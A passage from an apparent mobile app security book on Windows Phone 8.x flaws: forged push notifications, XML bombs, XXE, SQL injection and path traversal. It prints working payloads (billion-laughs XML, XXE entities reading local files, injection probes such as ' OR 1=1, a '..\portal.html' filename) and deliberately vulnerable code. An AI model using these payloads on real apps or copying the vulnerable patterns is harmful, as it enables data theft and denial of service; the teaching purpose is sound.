When a device is running Windows Phone 8 (again, not 8.1), and a target app has registered for push notifications, Cross-Application Navigation Forgery attacks identical to those described and shown in the previous pages are theoretically possible to carry out by remote attackers.
Let’s first examine how apps register for push notifications and then discuss how attackers may be able to send their own push notifications to carry out Cross-Application Navigation Forgery attacks under certain circumstances.
Applications open a push notification channel with MPNS using the HttpNotificationChannel
API. Each instance of a particular application receives a unique URL from MPNS when it registers for push notifications. Ultimately, this URL can be used by the app’s vendor or a cloud service to send push notifications to the associated device.
Every time an app that wants to receive push notifications launches, it checks for an open push notification channel, because a channel may have been created for it in a previous instance of the app. If an existing push channel is found, the URL will be sent to the application developer or a cloud service that the developer utilizes to send push notifications. If an existing channel is not found, a channel is opened, and toast notifications are opted into by calling BindToShellToast()
on the channel object.
The following code illustrates the basic code outline:
HttpNotificationChannel pushChannel;
/* try to find an existing push channel */
pushChannel = HttpNotificationChannel.Find("myPushChannel");
/* no push channel found – open a new one */
if (pushChannel == null)
{
pushChannel = new HttpNotificationChannel("myPushChannel");
// register for this event so that we can capture the
// URL that refers to our push channel and send it to the
// app developer or our cloud service */
pushChannel.ChannelUriUpdated += new
EventHandler<NotificationChannelUriEventArgs>(
PushChannel_ChannelUriUpdated);
/* just an error handler */
pushChannel.ErrorOccurred += new
EventHandler<NotificationChannelErrorEventArgs>(
PushChannel_ErrorOccurred);
/* we register for this event if we also want to receive toast
notifications when our app is closed */
pushChannel.ShellToastNotificationReceived +=
new EventHandler<NotificationEventArgs>(
PushChannel_ShellToastNotificationReceived);
/* open the channel */
pushChannel.Open();
/* we want to receive toast notifications via push */
pushChannel.BindToShellToast();
}
/* otherwise, we already had a push channel open */
else
{
// register for this event so that we can capture the URL
// that refers to our push channel and send it to the app
// developer or our cloud service */
pushChannel.ChannelUriUpdated += new
EventHandler<NotificationChannelUriEventArgs>(
PushChannel_ChannelUriUpdated);
pushChannel.ErrorOccurred += new
EventHandler<NotificationChannelErrorEventArgs>(
PushChannel_ErrorOccurred);
// we register for this event if we also want to receive
// toast notifications when our app is closed */
pushChannel.ShellToastNotificationReceived += new
EventHandler<NotificationEventArgs>(
PushChannel_ShellToastNotificationReceived);
/* send our MPNS URL to the developer or cloud service we use */
SendUrlToDeveloper(pushChannel.ChannelUri.ToString());
}
}
Note that both the if
and the else
code paths register for the ChannelUriUpdated
notification. This results in the handler, PushChannel_ChannelUriUpdated()
being called if the MPNS URL associated with the channel changes. If the channel already exists, as in this example, the URL doesn’t change; hence the URL is sent to the app vendor or cloud service at the end of the else
block.
In the if
block, which runs if a channel doesn’t already exist, a channel opens and the app registers for toast notifications. Because this creates a new channel, an MPNS URL is associated with it, and the ChannelUriUpdated
event handler will be called. In this handler function is where the URL can be sent to the app vendor or cloud service for perusal in sending out push notifications to the device:
void PushChannel_ChannelUriUpdated(
object sender, NotificationChannelUriEventArgs e)
{
Dispatcher.BeginInvoke(() =>
{
// send URL to developer/vendor or cloud service
SendUrlToDeveloper(e.ChannelUri.ToString());
});
}
At this point, the hypothetical application will have a channel for push notifications, and the app’s vendor or cloud service will have received the unique MPNS URL that will ultimately be used to send out push messages to the device. The app vendor or cloud service will make HTTP POST requests to the MPNS URL. The exact form of the requests and data depends on the push message to be sent to the associated device.
The MPNS URL itself has a form similar to the following:
http://db3.notify.live.net/throttledthirdparty/01.00/
AQZFFGnGGQRI4BFLSKVRYR9xk6FbAgAAAAADKwAAAAQDQYmL98kIxMjIxPOQ
xOTEvqDlZASQbaFzqTY6k8uML
Clearly, the token part of the URL is long and intentionally unpredictable. It doesn’t indicate which app it is associated with.
If an attacker has the URL associated with a device’s push channel, then he is able to send push messages to the device—in this case, toast notifications. Two general attack scenarios exist here in which an attacker may gain knowledge of this URL.
The first is that applications may send the URL to the vendor, developer, or cloud service insecurely; that is, via a plaintext HTTP session, meaning that any suitably positioned attacker can eavesdrop on the URL that is being communicated, thereby gaining access to deliver push notifications to the device.
For the second scenario, notice that the MPNS URL itself is a simple http://
URL, as opposed to https://
. This means that a suitably positioned attacker may also eavesdrop on requests being made to the MPNS URL, gaining knowledge of the URL and enough knowledge to make push notifications to the associated device.
The second case is, at present, unfortunately unavoidable; this URL was generated by MPNS, and this is the URL that must be used, thus the potential for eavesdropping on the URL is quite real.
In the first case, eavesdropping potential boils down to the app insecurely transmitting the URL to the vendor or cloud service, which is clearly avoidable, so when assessing apps, check for secure communication of the MPNS URL to the vendor or cloud service.
In any case, if an attacker does indeed glean knowledge of a MPNS URL, all he has to do is make a suitably crafted POST request to it—in XML. The following request sends a toast notification with an app://
URL in it to conduct a Cross-Application Navigation Request Forgery attack on a hypothetical would-be vulnerable app:
<?xml version="1.0" encoding="utf-8"?>
<wp:Notification xmlns:wp="WPNotification">
<wp:Toast>
<wp:Text1>Hi..</wp:Text1>
<wp:Text2>This is a toast notification</ wp:Text2>
<wp:Param>app://acb5a845-77a7-4480-be66-
b32e927f77c5/_default#/myAssembly;component/SomePage.xaml?myArgs=
maliciousData</wp:Param>
</wp:Toast>
</wp:Notification>
Then, assuming the user received and tapped the toast, the XAML page would be navigated to—as long as the OS version is previous to 8.1.
Mitigating the risk involved with attackers attacking instances of an app by their knowledge of the MPNS URL is possible. (See Chapter 13.)
Like apps for other smartphone platforms, many Windows Phone apps need to parse XML either from local files, or more interestingly, from remote sources. For example, applications may receive XML in HTTP responses, which they parse, store for later parsing, or both.
This section covers a few ways a developer can trip up and introduce security bugs when parsing XML in Windows Phone apps.
The standard API for parsing XML documents on the Windows Phone 8.x OSes is XDocument
; you can find the full documentation for it on MSDN (see http://msdn.microsoft.com/en-us/library/system.xml.linq.xdocument(v=vs.110) .aspx
).
XDocument
forms part of the LINQ framework. The numerous other XML-parsing APIs that are available in the desktop Windows OSes, such as XmlDocument
and XmlTextReader
, are unavailable on the Windows Phone 8.x platforms; the only Microsoft-supplied API is XDocument
(and associated classes).
LINQ, which stands for Language-Integrated Query, is a framework that bridges the gap between data and objects. XDocument
is a class that allows XML documents to be parsed using LINQ queries—that is, in a syntax and fashion that will be quite familiar to readers who use SQL languages.
Consider this quick example of XDocument
’s use to parse a simple XML document to get an idea for how a simple but realistic XML document may be parsed in real code. A hypothetical app may need to parse an XML document that looks like this:
<?xml version="1.0" encoding="utf-8" ?>
<employees>
<employee>
<name>John Smith</name>
<jobTitle>CEO</jobTitle>
<dob>28/12/1970</dob>
</employee>
<employee>
<name>Adam Peters</name>
<jobTitle>Consultant</jobTitle>
<dob>03/04/1987</dob>
</employee>
<employee>
<name>Jacob Matthews</name>
<jobTitle>Accountant</jobTitle>
<dob>06/11/1981</dob>
</employee>
</employees>
Given a file like this, you may want to compile a list of all employees whom are detailed in the document. To do this, you might use something similar to the following code:
XmlReader reader = XmlReader.Create("Assets/XMLFile2.xml");
// parse the XML file
XDocument xmlDoc = XDocument.Load(reader);
var q = from c in xmlDoc.Descendants("employee")
select (string)c.Element("name") + (string)c.Element("title");
string allEmployees = "";
// concatenate all detailed employees together into a string
foreach (string name in q) {
allEmployees += name + ". ";
}
// show in message box
MessageBox.Show(allEmployees);
As expected, you’ll get the message box listing the names of all the employees in the XML file. (See Figure 11.11.)
Using LINQ to query XML documents can prove to be very convenient and powerful due to its systematic and logical nature.
Although in the previous example we used XDocument.Load()
to parse an XML document from disk, you would use XDocument.Parse()
to parse XML documents that are contained within string objects. Also other overloads of the Load()
method exist. (See the XDocument
documentation for more details; http://msdn .microsoft.com/en-us/library/system.xml.linq.xdocument(v=vs.110).aspx
.)
So what about the classic XML security problem—DTD (Document Type Definition) parsing? And parsing of DTDs that resolve to external entities?
Fortunately for developers, XDocument
’s DTD parsing settings are secure by default; that is, DTD parsing is set to prohibited, unless the developer explicitly enables it on her XDocument
object.
In real-world apps, however, DTD parsing is sometimes enabled, for a few possible reasons:
When apps use XDocument
for XML parsing and their documents require the use of DTDs, the setting must be enabled with code like this:
var settings = new XmlReaderSettings { DtdProcessing =
DtdProcessing.Parse };
XmlReader reader = XmlReader.Create("myFile.xml", settings);
// parse the XML file
XDocument xmlDoc = XDocument.Load(reader);
If you come across an app that does have DTD parsing enabled, two general issues have a security impact: entity expansion denial-of-service attacks (otherwise known as a “billion laughs”), and external entity resolution attacks (XXE). We discuss these next.
The XML standard allows for nested entities in inline DTDs. A side effect of resolving nested entities is that creating a relatively small piece of XML that effectively acts as an XML bomb is possible.
Consider the following piece of XML, from an MSDN blog article on XML DoS and external entity attacks (located at http://msdn.microsoft.com/en-us/magazine/ee335713.aspx
):
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;
&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;
&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;
&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;
&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;
&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;
&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;
&lol8;">
]>
<lolz>&lol9;</lolz>
The entity lol9
is made up of ten lol8
entities, which itself is made up of ten lol7
entities, which in turn is made up of ten lol6
entities and so on and so forth, until all entities have been expanded to lol
strings. Visualizing how this actually adds up to a lot of entity expansions is easy. In fact, this small piece of XML ends up resolving to one billion lol
strings, hence the name “billion laughs,” and this data consumes around 3GB in memory. In addition to consuming vast amounts of the runtime’s heap space, the series of operations are also resource intensive in terms of processor usage.
You can demonstrate this to yourself by having the following logic in a test application, and then running it on the device from Visual Studio:
string lol = "<?xml version=\"1.0\"?><!DOCTYPE lolz [
<!ENTITY lol \"lol\"><!ENTITY lol2
\"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;
&lol;\"><!ENTITY lol3
\"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;
&lol2;\"><!ENTITY lol4
\"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;
&lol3;\"><!ENTITY lol5
\"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;
&lol4;\"><!ENTITY lol6
\"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;
&lol5;\"><!ENTITY lol7
\"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;
&lol6;\"><!ENTITY lol8
\"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;
&lol7;\"><!ENTITY lol9
\"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;
&lol8;\">]><lolz>&lol9;</lolz>";
var settings = new XmlReaderSettings { DtdProcessing =
DtdProcessing.Parse };
byte[] data = Encoding.UTF8.GetBytes(lol);
MemoryStream stm = new MemoryStream(data, 0, data.Length);
XmlReader xmlReader = XmlReader.Create(stm, settings);
// parse the XML file
XDocument xmlDoc = XDocument.Load(xmlReader);
Eventually, after several minutes, the app will throw an unhandled System .OutOfMemory
exception, and the application will crash. (See Figure 11.12.)
Now, obviously because we’re talking about applications running on mobile devices and not on server platforms, the possibility of a DoS occurring on a mobile app may seem a little bit unlikely. In many cases, this may be true, but if an app pulls an XML bomb of this kind from the Internet, saves it to disk, and then attempts to parse it every time the app runs, users have a much more annoying problem, especially if the app is critical to their work or otherwise important to them. A persistent DoS like this could result in users’ having to reinstall the app, and perhaps losing important data associated with it.
External entity expansion attacks (XXEs) are decidedly more interesting than XML bomb DoS attacks, particularly because they often allow the disclosure of files from the host being attacked.
XDocument
is no exception; as long as DTD parsing has been enabled on the XDocument
object being used for parsing, file disclosure attacks are sometimes possible. However, restrictions are imposed by Windows Phone’s sandboxing model. We’ll run through those now with real code and outputs so that you are aware of when file disclosure attacks via XXE are possible, and when they’re not, in Windows Phone 8.x apps.
Consider a sample application that contains the following vulnerable code:
var settings = new XmlReaderSettings { DtdProcessing =
DtdProcessing.Parse };
XmlReader xmlReader = XmlReader.Create("Assets/XMLFile.xml", settings);
// parse the XML file
XDocument xmlDoc = XDocument.Load(xmlReader);
var q = from c in xmlDoc.Descendants("someTag") select(string)
c.Element("foo");
string secretContents = "";
// concatenate all detailed employees together into a string
foreach (string data in q) {
secretContents += data + ". ";
}
// show in message box
MessageBox.Show(secretContents);
With a bit of analysis, you can easily see that this code parses an XML file called XMLFile1.xml
, parses out the values of any <foo>
tags found within the document, and displays them in a message box.
Now create a new XML file (called XMLFile1.xml
) in the Assets directory of your application. Insert the following contents (via Visual Studio’s Solution Explorer):
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:\secretFile.txt" >
]>
<someTag>
<foo>&xxe;</foo>
</someTag>
This XML file causes the parser to attempt to resolve an external entity that clearly lies outside the app’s sandbox. Run your app and you’ll receive a System .Xml.XmlException
with a reason string reading:
"An error has occurred while opening external entity
'file:///C:/secretFile.txt': --> System.Xml.XmlException:
Cannot open 'file:///C:/secretFile.txt'. The Uri parameter
must be a relative path pointing to content inside the
Silverlight application's XAP package ..."
Replace your XML file’s content with the following, and run your app again:
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.google.co.uk/abcd" >
]>
<someTag>
<foo>&xxe;</foo>
</someTag>
Your app will receive a very similar exception; more specifically, with a reason string reading:
"An error has occurred while opening external entity
'http://www.google.co.uk/abcd': --> System.Xml.XmlException:
Cannot open 'http://www.google.co.uk/abcd'. The Uri parameter
must be a relative path pointing to content inside the
Silverlight application's XAP package ..."
The message delivered with the exception summarizes a serious limitation in file-stealing capabilities as a result of sandboxing: only files that reside in the app’s Install directory can be stolen (that is, C:\Data\Programs\{GUID}\Install
). This is the directory where the app’s executables, manifest, and other pre-packaged assets are placed by the OS when the app is installed, and this directory and its subdirectories are read-only by Windows Phone sandboxing restrictions.
Files in the app’s isolated storage (C:\Data\Users\DefApps\APPDATA\{GUID}
) are not accessible as external entities. Unfortunately for attackers, this means that stealing files stored at runtime by apps is not possible. It is possible to reference the app’s pre-packaged files only as external entities.
This rules out interesting files stored by apps, such as cache, cookies, and key and credential files. However, some applications may pre-package interesting files such as certificates or credential files, which would be in the application’s Install directory (or a subdirectory), and would therefore be viable targets for theft via XXE.
With the understanding that sandboxing restrictions apply to external entity resolutions, even with a good target file identified, the problem still exists of how, as an attacker, to exfiltrate the file from off the device to an attacker-controlled box.
Whether this is possible depends on what the application does with the parsed entity. Some apps may, at some point, send parts of the parsed XML document back to the developer’s server or another server. In this case, the possibility exists for would-be attackers to intercept or otherwise receive the resolved external entity file’s contents.
In any case, as demonstrated here, the XDocument
will indeed parse files as external entities. In your sample vulnerable app, place the following XML contents in Assets/XMLFile.xml
(via Solution Explorer),
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "secret.txt" >
]>
<someTag>
<foo>&xxe;</foo>
</someTag>
and create a file named secret.txt
, also in the Assets folder, again via Solution Explorer, and insert “secret data” using the text editor.
Upon running your sample vulnerable app identical to the one laid out previously in this section, the API parses the external element (xxe
), and the LINQ query fills the secretContents
string object with the resolved data: the contents of secret.txt
. The message box shown in Figure 11.13 should appear.
An attacker’s ability to exfiltrate data from the device will generally depend on whether the app somehow transmits the data (from the resolved external entity) elsewhere via the network at some point, or uses it in a way that may otherwise be accessible to an attacker; for example, in a JavaScript DOM that may be compromised by an attacker via WebBrowser script injection.
This section takes a look at how database interactions can sometimes be exploited in Windows Phone 8.x applications. We say “database interactions” instead of just “SQL injection” because we want to first briefly mention the LINQ to SQL API—Windows Phone 8.x’s standard way of accessing local databases. We’ll then move onto SQL injection bugs and how they can be introduced via common (third-party) database libraries.
LINQ to SQL is now used for all (native) database operations in Windows Phone applications, including defining schemas, reading to, writing to, and otherwise manipulating local databases. Windows Phone 8.x does not support any of the traditional SQL-based APIs at all. You can find WP8.x-specific aspects at the MSDN page located at http://msdn.microsoft.com/en-us/library/windows/apps/hh202872(v=vs.105).aspx
.
LINQ to SQL adds a layer between LINQ and TSQL that ultimately means that SQL injection in apps using Windows Phone 8.x’s native database capabilities is not possible.
Therefore, if the app is using LINQ to SQL, it is safe from SQL injection.
Despite using LINQ to SQL–style interaction with databases, some developers still prefer to interact with their databases with SQL.
In addition to being popular in general, SQLite has also found popularity and frequent usage among Windows Phone developers. The reasons possibly include familiarity and known reliability, but whatever the reasons, seeing SQLite being used for local data storage in Phone Store apps is common.
SQLite provides versions of its engine that work on both Windows Phone 8 and 8.1. The package SQLite provides is a native library. Krueger Systems developed a set of wrappers called sqlite-net (https://github.com/praeclarum/sqlite-net
) that allows the native SQLite API to be accessed from C# code; however, sqlite-net doesn’t support the Windows Phone SQLite library.
Fortunately, Peter Huene created a set of native wrappers named sqlite-net-wp8 (https://github.com/peterhuene/sqlite-net-wp8
) that allow sqlite-net to integrate with the Windows Phone version of SQLite.
The Windows Phone SQLite engine is installable in Visual Studio via Tools Extensions and Updates, and sqlite-net is available as a NuGet package, also installable in Visual Studio via the Package Manager Console. General instructions for how to install SQLite for Windows Phone into your Visual Studio instance, as well as how to install sqlite-net and sqlite-net-wp8 code wrappers to your projects, are available at http://blogs.windows.com/buildingapps/2013/03/12/using-the-sqlite-database-engine-with-windows-phone-8-apps/
. Following this guide before reading on is recommended if you want to follow the examples in this section.
SQLCipher (http://sqlcipher.net/blog/2014/1/13/introducing-sqlcipher- for-windows-phone-8-and-windows-runtim.html
) is based closely on sqlite-net. As the name suggests, it adds cryptography capabilities to SQLite databases. Because its API is so close to that provided by sqlite-net, the contents of this section are also applicable to apps that use SQLCipher for their databases.
The wrapper API provides safe methods for querying and otherwise manipulating databases without having to actually deal with SQL queries directly, and the API also caters for parameterization to be used when SQL queries are being constructed manually.
API provides the following methods for raw SQL statement execution:
db.CreateCommand()
db.Execute()
db.ExecuteScalar()
db.Query()
db.Query<T>()
db.DeferredQuery()
db.DeferredQuery<T>()
For instance, Query<T>()
can be used safely; that is, by utilizing parameterization, but it can also be used insecurely by constructing queries by basic string concatenation with no metacharacter escaping. All it would take in each of the vulnerable examples is for the attacker to place an apostrophe ('
) in his controlled value, thereby breaking out of the intended SQL statement with the possibility of altering the meaning of the SQL query itself. Consider the following safe and unsafe examples. The unsafe patterns, of course, allow SQL injection, assuming attackerInput
is indeed an attacker-controlled string.
Safe
var db = new SQLiteConnection(Path.Combine(
ApplicationData.Current.LocalFolder.Path, "test.db"));
[ ... ]
SQLiteCommand cmd = db.CreateCommand(
"select * from Stock where Symbol = ?", attackerInput);
// get all stock items with name in question
List<Stock> stockList = cmd.ExecuteQuery<Stock>();
// and then display the names and stock IDs
foreach(Stock item in stockList) {
MessageBox.Show(item.Symbol + " has item ID:" + item.Id);
}
Vulnerable
var db = new SQLiteConnection(Path.Combine(
ApplicationData.Current.LocalFolder.Path, "test.db"));
[ ... ]
SQLiteCommand cmd = db.CreateCommand(
"select * from Stock where Symbol = '" + attackerInput + "'");
// get all stock items with name in question
List<Stock> stockList = cmd.ExecuteQuery<Stock>();
// and then display the names and stock IDs
foreach(Stock item in stockList) {
MessageBox.Show(item.Symbol + " has item ID:" + item.Id);
}
Safe
[ ... ]
// get all stock items with name in question
List<Stock> results = db.Query<Stock>(
"select * from Stock where Symbol = ?", attackerInput);
// and then display the names and stock IDs
foreach(Stock item in results) {
MessageBox.Show(item.Symbol + " has item ID:" + item.Id);
}
[ ... ]
Vulnerable
// get all stock items with name in question
List<Stock> results = db.Query<Stock>(
"select * from Stock where Symbol =
'" + attackerInput + "'");
// and then display the names and stock IDs
foreach(Stock item in results) {
MessageBox.Show(item.Symbol + " has item ID:" + item.Id);
}
[ ... ]
Running either of the preceding vulnerable code samples with attackerInput
being equal to “aaaaaa’aaa” results in a SQLiteException
being thrown due to a SQL syntax error, as shown in Figure 11.14.
SQL injection bugs are easy to spot when code is available or assemblies have been extracted from a device and reversed to recover code (that is, using .NET reflector). If you’re manually testing an application for SQL injection, and insertion of an apostrophe ('
) causes a crash, there’s a decent chance that SQLite threw a SQLiteException
, which went unhandled and resulted in the app crashing. In these cases, you may have a SQL injection bug on your hands, which you’ll want to look into to verify whether an injection issue exists or not.
If you’re unsure of whether a SQL injection bug exists, you can use conditional clauses and observe whether the app’s behavior changes in the way you expect. For example, if a SQL injection bug existed in a query to select the employee with a certain email address, and you injected,
test@fake.com' OR 1=1—
and the app attempted to return all users in its database, you would be fairly certain you’ve just hit a SQL injection bug. Moreover, this may be interesting from the attacker’s perspective in terms of information leakage by the app. Equally, if you injected:
admin@company.com' AND 1=1—
and you knew that admin@company.com existed in the database, you could then compare the behavior with what happens when you inject:
admin@company.com' AND 1=2—
That is, in the second case, where you injected AND 1=2—
, you would expect the query to return nothing (let’s assume the query is simple), because 1=2 is obviously false, and the conditional was concerned with “and” logic.
The potential for entry points into potentially injectable SQL queries is worth considering; think XAML page entry points (that is, OnNavigatedTo
and resulting code paths) via toast notifications and protocol handlers. For example, imagine a part of an app responsible for looking up all contacts with a certain surname. Code similar to the following could easily appear in an XAML page’s OnNavigatedTo()
entry point:
protected override void OnNavigatedTo(NavigationEventArgs e) {
string surname;
if (this.NavigationContext.QueryString.ContainsKey("surname"))
{
phoneNumber = this.NavigationContext.QueryString["surname"];
SQLiteCommand cmd = db.CreateCommand(
"select * from Contacts where surname = '" + attackerInput + "'");
List<Contacts> stockList = cmd.ExecuteQuery<Contacts>();
[ ... ]
}
}
In a real-world app, this method could be reached via a toast notification, for example, or via a protocol handler that the app has registered.
Apps may also use data pulled in via HTTP API requests in insecure SQL query formation, as well.
It’s worth noting before we move on to another section that when you’re using SQLite’s Windows Phone engine and Krueger’s wrapper, stacked queries are not enabled, and the load_extension()
function is disabled, so the interesting exploitation techniques described here (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
) are not applicable.
As with applications for any modern smartphone platform, apps running on Windows Phone 8.x may need to write files to disk, and then manipulate, read, and delete them.
Developers occasionally make mistakes in handling file I/O, which can lead to some interesting security bugs. We’ll talk about how file handling is done generally here, and then move on to discovering and possibly exploiting directory traversal bugs.
Since the introduction of Windows Phone 8, the main APIs for dealing with file I/O are the Windows.Storage
and Windows.Storage.Streams
namespaces. You can find full documentation on both of these APIs at their respective MSDN pages at http://msdn.microsoft.com/en-us/library/windowsphone/develop/windows.storage.aspx
and http://msdn.microsoft.com/en-us/library/windowsphone/develop/windows.storage.streams.aspx
.
As we’ve stressed a number of times before, third-party apps are subject to filesystem sandboxing restraints, and as such can read and write only from and to specific locations. Broadly, apps have read and write access to their application data directory tree and read-only access to their install directory, which houses application binaries, the manifest, and other assets. These directories reside at the following file paths:
C:\Data\Users\DefApps\APPDATA\{GUID}\...
C:\Data\Programs\{GUID}\Install\...
The majority of apps tend to use the folder named Local
in their app data folder to store useful data. All files in this directory (and other directories in their application data tree) are readable and writeable only by the app itself and the operating system.
An application can retrieve a StorageFolder
instance for its local folder easily using the Windows.Storage
API:
StorageFolder myLocalFolder = ApplicationData.Current.LocalFolder;
An app can also retrieve the physical file path of its local folder, as well:
string localPath = StorageFolder localFolder =
ApplicationData.Current.LocalFolder;
The StorageFolder
provides convenient APIs for creating new files and folders as shown here:
StorageFolder myLocalFolder = ApplicationData.Current.LocalFolder;
// create new folder called "myFolder", overwriting a previous
// one if it existed
StorageFolder newFolder = await myLocalFolder.CreateFolderAsync(
"myFolder", CreationCollisionOption.ReplaceExisting);
// now create a new file named "myFile" in the newly created folder
StorageFile myNewFile = await newFolder.CreateFileAsync(
"myFile", CreateCollisionOption.ReplaceExisting);
After a StorageFile
object exists for a created file, data can be written to it using an API such as DataWriter
using code like the following:
// create new file
StorageFile myFile = await newFolder.CreateFileAsync("myFile",
CreateCollisionOption.ReplaceExisting);
// open with r/w access
using (IRandomAccessStream fileStream =
await myFile.OpenAsync(FileAccessMode.ReadWrite))
{
using (DataWriter myDataWriter = new DataWriter(fileStream))
{
// write our data to the file
myDataWriter.WriteString(contents);
// ensure contents are stored
await myDataWriter.StoreAsync();
}
}
Note that the preceding CreateFileAsync()
call specifies the ReplaceExisting
enum; this tells the CreateFileAsync()
method that an existing file with the same name should be overwritten. This is an important flag to bear in mind when auditing for potential file-handling bugs.
Alternatively, if the file to be written to already existed, a StorageFile
object to the file could instead be obtained using GetFileAsync()
as opposed to CreateFileAsync()
:
StorageFile myFile = await localFolder.GetFileAsync("myFile");
A file that already exists can similarly be opened to read data out from. For example, a developer could easily use the DataReader
class to read the entire contents of a file like this:
StorageFolder localFolder = ApplicationData.Current.LocalFolder;
StorageFile myFile = await localFolder.GetFileAsync("myFile");
string fileContents;
using (IRandomAccessStream fileStream = await myFile.OpenReadAsync())
{
using (DataReader dataReader = new DataReader(fileStream))
{
uint textLength = (uint)fileStream.Size;
await datareader.LoadAsync(textLength);
fileContents = dataReader.ReadString(textLength);
}
}
Code with a StorageFile
object can delete the corresponding file using the DeleteAsync()
method:
await myFile.DeleteAsync();
Other useful miscellaneous APIs for handling are available, but the preceding covers the most basic patterns of file I/O: file creation, file deletion, opening, reading, and writing.
Directory (or path) traversal vulnerabilities have been quite common in server applications over the years—particularly web servers. Web apps have also been plagued with directory traversal bugs, and the consequences have ranged from file disclosure to privilege escalation by overwriting important files.
Path traversal vulnerabilities typically present themselves when filenames are attacker-influenced, and the app fails to prevent the use of “..
” and “../
” in the filename itself. This can represent a danger because “..
” refers to the directory one level back from the current directory.
For example, an app could want to save a file, and take a partial filename from an untrusted source. As a result of no sanitization of the filename, the full filename string could end up looking like this:
[OMITTED]\Local\Images\..\traversed.jpg
The “..
” portion of the filename would instruct the underlying API to place traversed.jpg
in the Local
folder, instead of the current folder, Images
, like the application developer had intended.
Consider a hypothetical application used for managing affiliates that receives data about each of the company’s affiliates in JSON format (say, from a web service), and later uses this information for creating basic affiliate profiles, which can later be viewed in the app.
In this case, the app receives JSON, as shown here for one of its clients, Acme Corp:
{
"Company": {
"Name": "Acme Inc",
"ContactNumber": "111-222-3333",
"CEO": "Joe Exec",
"CTO": "John Techie",
"COO": "James Operations",
"Logo": {
"URL": "http://www.acme.com/logo.jpg",
"fileName": "acmeLogo.jpg"
}
}
}
To avoid regularly downloading all logo images for each affiliate for performance and offline usage reasons, the app parses the JSON structure for each affiliate company, and downloads the company’s logo file, saving it in an images directory for later usage.
To avoid name clashes due to generic names like logo.jpg
being used, the web service being called specifies a filename to use for the image file, which was earlier specified by the affiliate in the Content Disposition request it used to upload the logo to the server-side web service. This idea seems quite logical, and after the logo image file has been downloaded and loaded into a DataReader
, the application attempts to save the file to its image directory in its sandboxed application data folder, Local\AffiliateLogos
. Assume the code looks like this:
// download image file to a stream
Stream imageData = await DownloadAffiliateLogo(downloadUrl);
string fileName = getFilenameFromJson(affiliateData);
StorageFolder myLocalFolder = ApplicationData.Current.LocalFolder;
// open the folder where the logo files are stored
StorageFolder imageFolder = await myLocalFolder.GetFolderAsync(
"AffiliateLogos");
// create new file with name supplied in json
StorageFile imageFile = await imageFolder.CreateFileAsync(fileName,
CreationCollisionOption.ReplaceExisting);
// write the binary image data out to the new file
using (var photoOutputStream =
await imageFile.OpenStreamForWriteAsync())
{
await imageData.CopyToAsync(photoOutputStream);
}
This sort of code outline would work well, except that it does absolutely no sanitization of the filename string parsed out from the affiliate’s JSON data.
With a badly designed affiliate registration system in place, assume that a malicious affiliate’s JSON data ends up looking like this:
{
"Company": {
"Name": "Acme Inc",
"ContactNumber": "111-222-3333",
"CEO": "Joe Exec",
"CTO": "John Techie",
"COO": "James Operations",
"Logo": {
"URL": "http://www.acme.com/logo.jpg",
"fileName": "..\portal.html"
}
}
}
In trying to save the file to the app’s Local\AffiliateLogos
folder, the app would effectively call CreateFileAsync()
like this:
StorageFile imageFile = await imageFolder.CreateFileAsync(
"..\portal.html", CreationCollisionOption.ReplaceExisting);
This would result in the downloaded data being saved to the Local
folder as portal.html
, instead of in Local\AffiliateLogos
like the developer had intended. Further, because CreateFileAsync()
was called with the ReplaceExisting
enum, any file that existed in Local
named portal.html
will now have been overwritten with the data that was just downloaded by the application.
In the context of this app, assume that the app at some earlier point had saved a page to Local\portal.html
that it uses for providing an interface in a WebBrowser control. In the hypothetical attack scenario we’ve laid out, this HTML file has now been overwritten with attacker-controlled data.
Referring to the earlier section, “Local Scripting Attacks,” you may recall that JavaScript executing in the local origin context is capable of file-stealing attacks, due to the code’s origin being the local filesystem itself. In a vulnerability scenario like this, a rogue affiliate would be in a position to steal sensitive and otherwise interesting files from the device within the application’s sandboxing restrictions.
Applications might also implement file I/O functionality which is vulnerable to path traversal attacks in other entry points that are reachable by would-be attackers, but the scenario presented in this section hopefully gives a reasonable example of a potentially dangerous situation. The moral of the story is that potentially untrusted data should not be used without sanitization for filenames, and certainly shouldn’t be allowed to contain “..
” patterns.
Sometimes during an assessment of a Windows Phone app you’ll need to apply patches to the app to gain greater insight into how it works and what it’s doing internally with data. You might also need to remove superficial security controls such as screen lock password prompts and UI-based restrictions.
